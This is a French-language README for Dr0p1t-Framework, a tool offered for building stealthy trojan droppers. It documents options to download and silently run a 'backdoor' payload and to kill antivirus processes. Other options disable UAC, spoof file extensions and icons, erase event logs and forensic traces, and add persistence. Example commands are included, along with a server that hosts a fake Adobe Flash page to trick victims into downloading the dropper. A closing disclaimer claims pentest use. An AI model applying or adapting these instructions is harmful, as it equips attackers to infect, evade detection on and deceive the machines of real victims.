Non maintenu actuellement (Attendez la prochaine version)

Dr0p1t-Framework

Avez-vous déjà entendu parler des trojan droppers ? En bref, un dropper est un type de malware qui télécharge d'autres malwares et Dr0p1t vous donne la possibilité de créer un dropper furtif qui contourne la plupart des antivirus et possède de nombreuses astuces (Faites-moi confiance :D ) ;)

Fonctionnalités

+ Propriétés de l'exécutable généré :

• La taille de l'exécutable est plus petite par rapport à d'autres droppers générés de la même manière.
• Télécharge un exécutable sur le système cible et l'exécute silencieusement.
• Fonction d'autodestruction pour que le dropper se tue et se supprime après avoir terminé son travail.
• Échappe à la forensique de disque en faisant en sorte que tous les fichiers créés par le dropper, ainsi que le dropper lui-même, nettoient leur contenu avant suppression.
• Efface le journal des événements après la fin.

+ Propriétés du framework :

• Fonctionne avec Windows, Linux et dispose désormais d'un support OSX (Merci à @sm4sh3r)
• Fonctionnalité Dr0p1t-Server (bêta) pour pouvoir travailler depuis le navigateur Voir comment travailler avec Dr0p1t-Server
• Dr0p1t-Server propose une option d'arnaque (bêta) Voir comment travailler avec Dr0p1t-Server

+ Modules :

• Trouver et tuer l'antivirus avant d'exécuter le malware.
• Possibilité de désactiver l'UAC.
• Possibilité d'exécuter votre malware en tant qu'administrateur.
• Usurpation complète en modifiant l'icône et l'extension du fichier selon vos souhaits.
• Prise en charge des fichiers ZIP pour compresser votre exécutable en zip avant le téléchargement.
• Exécution d'un fichier personnalisé (batch|powershell|vbs) que vous avez choisi avant d'exécuter l'exécutable.
• Lors de l'exécution de scripts powershell, peut contourner la stratégie d'exécution.
• Utilisation d'UPX pour compresser le dropper après sa création.

+ Modules de persistance :

• Ajout de l'exécutable au démarrage après son téléchargement.
• Ajout de l'exécutable au planificateur de tâches après son téléchargement (l'UAC n'a pas d'importance).
• Ajout de votre fichier au profil utilisateur powershell afin que votre fichier soit téléchargé et exécuté à chaque exécution de powershell.exe s'il n'existe pas.

Captures d'écran

Sur Windows

Voir plus

Sur Linux (Kali linux)

Voir plus

Sur OSX

Pas encore entièrement testé ! Besoin de contributeurs et de testeurs 😄

Menu d'aide

Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help      afficher ce message d'aide et quitter
-s              ajouter votre malware au démarrage (Persistance)
-t              ajouter votre malware au planificateur de tâches (Persistance)
-a              ajouter votre lien au profil utilisateur powershell (Persistance)
-k              tuer le processus antivirus avant d'exécuter votre malware.
-b              exécuter ce script batch avant d'exécuter votre malware. Voir le dossier scripts
-p              exécuter ce script powershell avant d'exécuter votre malware. Voir le dossier scripts
-v              exécuter ce script vbs avant d'exécuter votre malware. Voir le dossier scripts
--runas         contourner l'UAC et exécuter votre malware en tant qu'administrateur
--spoof         usurper l'extension du fichier final vers celle de votre choix.
--zip           indiquer à Dr0p1t que le malware dans le lien est compressé en zip
--upx           utiliser UPX pour compresser le fichier final.
--nouac         tenter de désactiver l'UAC sur l'appareil de la victime
-i              utiliser une icône pour le fichier final. Voir le dossier icons
--noclearevent  indiquer au framework de ne pas effacer les journaux d'événements sur la machine cible après la fin.
--nocompile     indiquer au framework de ne pas compiler le fichier final.
--only32        télécharger votre malware uniquement pour les appareils 32 bits
--only64        télécharger votre malware uniquement pour les appareils 64 bits
-q              rester silencieux (pas de bannière)
-u              vérifier les mises à jour
-nd             afficher moins d'informations en sortie

Exemples

./Dr0p1t.py Malware_Url [Options]
./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip

Prérequis

• Python 2 ou Python 3.

La version recommandée pour Python 2 est 2.7.x, la version recommandée pour Python 3 est 3.5.x et n'utilisez pas la 3.6 car elle n'est pas encore supportée par PyInstaller

Dépendances nécessaires pour Linux

• apt
• D'autres seront installées à partir du fichier install.sh

Remarque : Vous devez avoir un accès root

Dépendances nécessaires pour Windows

• pip
• Modules dans windows_requirements.txt

Installation

Il existe ici une liste de toutes les vidéos officielles pour installer et utiliser Dr0p1t Playlist

• Sur Linux

git clone https://github.com/D4Vinci/Dr0p1t-Framework.git
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
sudo chmod +x install.sh
./install.sh
python Dr0p1t.py

• Sur Windows (après avoir téléchargé le ZIP et décompressé)

cd Dr0p1t-Framework-master
python -m pip install -r windows_requirements.txt
python Dr0p1t.py

Remarque : sous python 2.7, vous n'avez pas pip, installez-le d'abord à partir du script get-pip.py [Recherchez-le sur Google]

Testé sur :

• Kali Linux Rolling
• Ubuntu 14.04-16.04 LTS
• Windows 10/8.1/8

Travailler avec Dr0p1t-Server

Remarque : Le serveur est encore en version bêta et possède de nombreuses fonctionnalités à ajouter ainsi qu'un meilleur design [Besoin d'un designer pour contribuer :D]

Prérequis

• Connexion Internet stable.
• Port 5000 non utilisé et pare-feu configuré pour ne pas bloquer les connexions sur ce port.

Installation et exécution du serveur

Sur Linux et Windows, c'est la même chose après avoir installé Dr0p1t en suivant les étapes ci-dessus. Installez les modules dans server_requirements.txt en utilisant pip comme suit :

python -m pip install -r server_requirements.txt

Lançons maintenant notre script serveur :

python Dr0p1t_Server.py

Après avoir exécuté le script serveur, il commencera à écouter toutes les connexions arrivant sur le port 5000 en utilisant Flask.

Maintenant, pour utiliser le serveur depuis votre appareil, ouvrez dans le navigateur soit 127.0.0.1:5000 soit [Votre IP]:5000.

Pour l'ouvrir depuis d'autres appareils sur le LAN, ouvrez [Votre IP locale]:5000 et pour d'autres appareils sur le WAN, ouvrez [Votre IP globale]:5000, mais assurez-vous d'abord d'avoir configuré votre routeur pour rediriger les connexions du port 5000 vers vous.

Après avoir ouvert la page du serveur, vous verrez un site web simple avec un design épuré vous demandant les informations nécessaires Voir les captures d'écran du serveur

Ensuite, soumettez les données, elles seront vérifiées à travers quelques processus, puis le fichier exe sera généré et vous serez redirigé vers une page vous donnant le lien d'arnaque.

Après avoir entré le lien, vous verrez une arnaque pour télécharger le dropper, qui est par défaut une page de téléchargement d'Adobe Flash. Pour remplacer l'arnaque par la vôtre, remplacez le contenu du fichier "Scam.html" par le vôtre, mais n'oubliez pas les variables (ne les supprimez pas).

Captures d'écran du serveur

Voir plus pour Windows Voir plus pour Linux

Pas de scan distribué (ne scannez pas avec Virus Total :3)

À faire Consultez ce lien

Contact

• Twitter

Donations

Si cet outil vous a été utile, n'hésitez pas à me remercier en m'offrant un café :)

Avertissement

Le framework Dr0p1t n'est pas responsable d'une mauvaise utilisation ou d'une utilisation à des fins illégales. Utilisez-le uniquement à des fins de test de pénétration ou éducatives !!!

Copier un code de ce framework ou l'utiliser dans un autre outil est accepté à condition de mentionner d'où vous le tenez 😄

Les demandes de tirage (pull requests) sont toujours les bienvenues :D